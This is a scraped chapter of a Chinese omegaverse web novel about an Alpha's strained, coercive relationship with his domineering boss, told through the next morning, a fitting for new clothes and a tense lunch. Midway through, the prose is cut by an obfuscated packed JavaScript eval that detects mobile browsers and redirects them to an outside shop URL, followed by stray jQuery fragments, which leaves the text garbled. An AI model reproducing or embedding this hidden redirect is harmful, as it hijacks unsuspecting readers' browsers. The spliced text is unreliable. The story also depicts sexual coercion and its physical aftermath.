文趣网 > 其他小说 > 被糟蹋的老实人决定反击 > 23. 我不是故意弄进的
    方南雁忍了忍,实在忍不了了才叫疼。

    楼烟蔷松开手,“没钱还散尽家财,看不出来你是个大善人呢。”

    看不出能咋办?说楼先生眼瞎?还是说楼先生你出门左转去医院治治自己的坏心肠吧!看谁都邪恶!

    方南雁揣揣肚子不说话。

    “肚子又疼?”

    方南雁只得装疼,“嗯。”

    “谁家Alpha这么娇气。”

    方南雁不着痕迹地抬起眼,趁楼先生闭目养神,无辜乖巧的眼阴鸷地瞪着楼先生唇形漂亮的嘴巴。

    漂亮的嘴巴比刀子还利害,每一句都割在他心口。

    娇气?

    刚从清宫手术恢复过来的腔体被成结,大量的消炎药和避孕药配着五百毫升的生理盐水灌进肚里,只为把楼先生造的孽冲刷干净。

    他好好一个Alpha被折腾成得小腹鼓起微微的弧,全世界都可以说他娇气,唯独楼烟蔷不可以。

    他静静瞧着楼先生倨傲又美艳的侧脸。

    他经历的一切放在楼先生身上,楼先生未必有他能忍。

    怨气在胸中升腾,被他压着向下沉淀。

    他奈何不了楼烟蔷,就算楼烟蔷要在他身上使更恶毒的玩法他也只得承受。

    只要能保住他现在拥有的一切,只要还能为自己的前途谋个出路,他就能忍下去。

    他哄好自己,该说几句软话示弱,但梗着脖子说不出话声。

    时间过了太久,久到快听不见身边的人在呼吸,方南雁心想楼先生不可能还在等他回话,睡着了吧。

    不要开口了,吵醒了又要发脾气。

    方南雁扶着腰躺平,疑心这把腰快断成两截了。

    他蹑手蹑脚窸窸窣窣了一阵。

    身边的人动了。

    方南雁僵住身体。

    完蛋了,吵醒了,死定了。

    一只手在床单上像开小艇一样开到他身边,慢慢爬上他的肚子。

    温热的掌心贴在他隆起的小腹,暖意从酸软的地方扩散到全身,方南雁侧过头,眼里有很轻的不可思议。

    楼烟蔷侧着身子,半闭着眼,漂亮又冷淡的脸上没有半点怜惜的表情,“我没想成结。”

    只是没控制住。

    谁让方南雁突然说想他的。

    方南雁读懂了他的言外之意,他满腹哀怨突然软糯成汤蒸发了,他伸手覆在楼先生手背上,表示接受了他别别扭扭的歉意。

    “许个愿吧。”楼烟蔷突然说了这样一句话。

    “嗯?”方南雁没反应过来。

    “许愿,我会答应。”

    大概是想要补偿他,方南雁这样想。

    他应该感恩戴德地赶紧说出李滨的事,或者欢天喜地地抱着楼烟蔷说把我调回S市吧。

    但他脑子一抽,没过脑子就说了一句:“少生点气吧。”

    “嗯——?”

    这次换楼烟蔷发出疑问,这声疑问的调子扯得很高,显得跟他的身份很不相符。

    方南雁被他这腔调弄笑,又强调了一遍:“希望楼先生以后少生点气。”

    楼烟蔷很久没说话,但方南雁知道他没睡。

    因为他的手指在很轻地扣他的肚皮肉。

    楼先生沉思的时候喜欢用指甲乱挠东西,不然那椅子缝不夹别人专夹他。

    今晚实在累坏了,他没劲跟楼烟蔷斗,没再等回话,直接入睡。

    他刚睡着,楼烟蔷很慢地支起头,睁开满目清明的眼。

    笨东西。

    真笨。

    -

    次日,方南雁醒来的时候楼烟蔷还在睡,一张高清的漂亮脸蛋睡在他身边,整个清晨都变得美好了。

    他一动,腰腹以下失去知觉,重得他挪不动腿。

    小腹里揣着没吸收的药水。

    方南雁再侧目就不是感叹美貌了,是怨怼罪魁祸首。

    他老老实实躺着,胸口不知何时粘上来一只手。

    骨节分明、根根修长。

    漂亮的人连手指都长得好看。

    手指在他胸口挠了挠,方南雁又补了一句腹诽:指甲头被椅子缝夹青了也好看。

    距离被夹青已经过去了快两个月,楼先生的恢复能力堪忧。

    楼烟蔷一直睡到上午十一点,方南雁后背快在床上粘锅了他才悠悠转醒。

    睡了如此久,他眼底竟还是青的,不知道昨晚到底几点睡的。

    他去书房准备视频会议,方南雁收拾东西准备走人,却被特助拦住了。

    “别着急嘛,还有事没做完。”

    方南雁皮肉一紧,他感受到楼烟蔷到易感期了,不会要留在这里给领导当抑制剂吧?

    门响,乌泱泱一群人涌进屋子,手里推着两三个崭新的仪器,要方南雁站到仪器下。

    方南雁害怕他们搞什么乱七八糟的检测,拧着不肯上前。

    特助劝道:“做个外形预测,有身材数据了好做衣服。”

    “做衣服?”

    “是啊,楼先生吩咐了,各式各样的都得做几套,其实在S市的时候就吩咐了,但一直有事拖着,正好今天设备和人都在。”

    方南雁脸上一阵青一阵红,看来楼先生还是挺介意他偷偷穿他的衣服的。

    以后不能再犯。

    量完尺寸,方南雁捡起角落里的背包,昨天楼烟蔷生气给他摔在地上,打扫卫生的人来过两波,没人敢捡。

    方南雁扒拉出包里那件被洗毁色的上衣,把睡衣换下来。

    楼烟蔷开完会从书房出来,手指搓搓方南雁身上的衣服。

    他经常见他穿这身。

    “喜欢水洗蓝?要他们多做几身。”

    这个颜色说是水洗蓝但不太像,应当挺不好找。

    “不用麻烦的。”

    楼烟蔷语气不太好:“给你就拿着。”

    他嘟囔着“费劲”走远了,看背影是有点嫌他身上改不掉的穷酸劲。

    好像一到早上,楼先生脾气就很大。

    住在宿舍,一旦方南雁起得比他早,他必定要找茬。

    也不止早上,大半夜被狗叫吓醒了也要生气。

    真不知道一天到晚哪里来的这些气性。

    方南雁吃完早饭就想走了,但特助非要他多待会儿。

    方南雁怀疑是因为楼烟蔷易感期脾气大,要拿他挡枪子儿。

    一直待到午饭时间,中途楼烟蔷出去了一趟,过了饭点才回来。

    他到了才上菜,方南雁早就饿了,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17675993|207464||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    此时抱着碗吃得很香。

    倒是从早上就什么都没吃的楼先生兴趣缺缺,筷子在菜上扒拉来扒拉去,明显挑食。

    方南雁含着满口饭。

    都是精致可口的菜,比他在宿舍做得美味多了,楼先生怎的反倒不吃呢?

    察觉到他的视线,一双筷子啪得磕在桌上,这桌可不比方南雁宿舍里木桌皮实,看着快裂开了。

    方南雁放下碗,等他闹脾气。

    “吃你的饭,别看我。”

    “哦。”

    他端起碗继续扒,大口大口嚼得很香。

    之前在食堂吃饭,张烨老爱嘲弄他,说这么难吃的饭菜他居然还能吃得跟头猪似的。

    他不觉得难吃,只要是熟的就能吃,要是味道稍微好点那就是美味,他可不挑食。

    屋子里只剩方南雁的咀嚼声,筷子偶尔撞到碗底发出清脆的响动,而楼烟蔷撑着脸颊,有点蔫蔫的看着他吃。

    特助进来就看到这样诡异的画面,他左右看看,谨慎又恭敬地说:“事儿办妥了。”

    楼烟蔷这才打起精神,“他们答应了?”

    “陈宁海那边暂时稳住了明易会,但是他们……”特助弯下腰凑到楼烟蔷耳朵边上:“要营建的标……”

    明易会?他记得上次楼烟蔷急匆匆离开也是因为这个。

    方南雁放慢了咀嚼的速度,这三个字在脑子里留了个印象。

    楼烟蔷看他一眼,特助明白他的意思,立刻要去办。

    但楼烟蔷拉住了他,睁着一双大眼盯着他。

    跟楼烟蔷久了,特助眼明心亮,朗声道:“哎哟!还有那个李滨啊!在您的英明指导之下,咱们一举把他孩子的入学指标给拿下了!”

    “啧。”

    楼烟蔷尴尬不已,要他滚出去。

    特助嘿嘿直笑,恭恭敬敬地滚了。

    方南雁端着碗忘了嚼饭,怔怔地望着楼先生,“李滨……”

    楼烟蔷打断道:“只是一桩小事,不要再管了。”

    方南雁吞了饭说知道了。

    他的烦恼在楼烟蔷看来一定是幼稚又可笑的,想必楼烟蔷也会啧啧称奇——居然有人会害怕被一小碗水给淹死。

    “别再给我添乱,在潇西老老实实待着,该你走的时候你想留都留不住。”

    方南雁又扒了几口饭菜,脸颊鼓起,吞完才明白楼先生这是在安抚他。

    原来楼先生从始至终就没打算把他丢在潇西不管……?

    他恍然大悟。

    楼烟蔷瞪他,方南雁读懂他的表情:你真当我是禽兽吧?在你眼里我心就那么黑?

    方南雁低下头扒饭,心想:换你被另一个Alpha折腾到怀孕也会担心的。

    “眼镜,别戴了。”

    方南雁不明所以,摘下眼镜,眯了眼瞧他,“怎么了?”

    特助拿了角膜校正镜给他,按照说明清洗佩戴三个月就能完全恢复正常的视力。

    特助:“每周三做一次养护,持续三个月就可以了。”

    方南雁眨眨模糊的眼睛,对上楼先生劲劲儿的表情,他叹道:“可惜了,从张烨兜里抢来的钱没花在刀刃上。”

    对面的楼先生垮了脸,一双很美的眼睛飘了个不美的小白眼。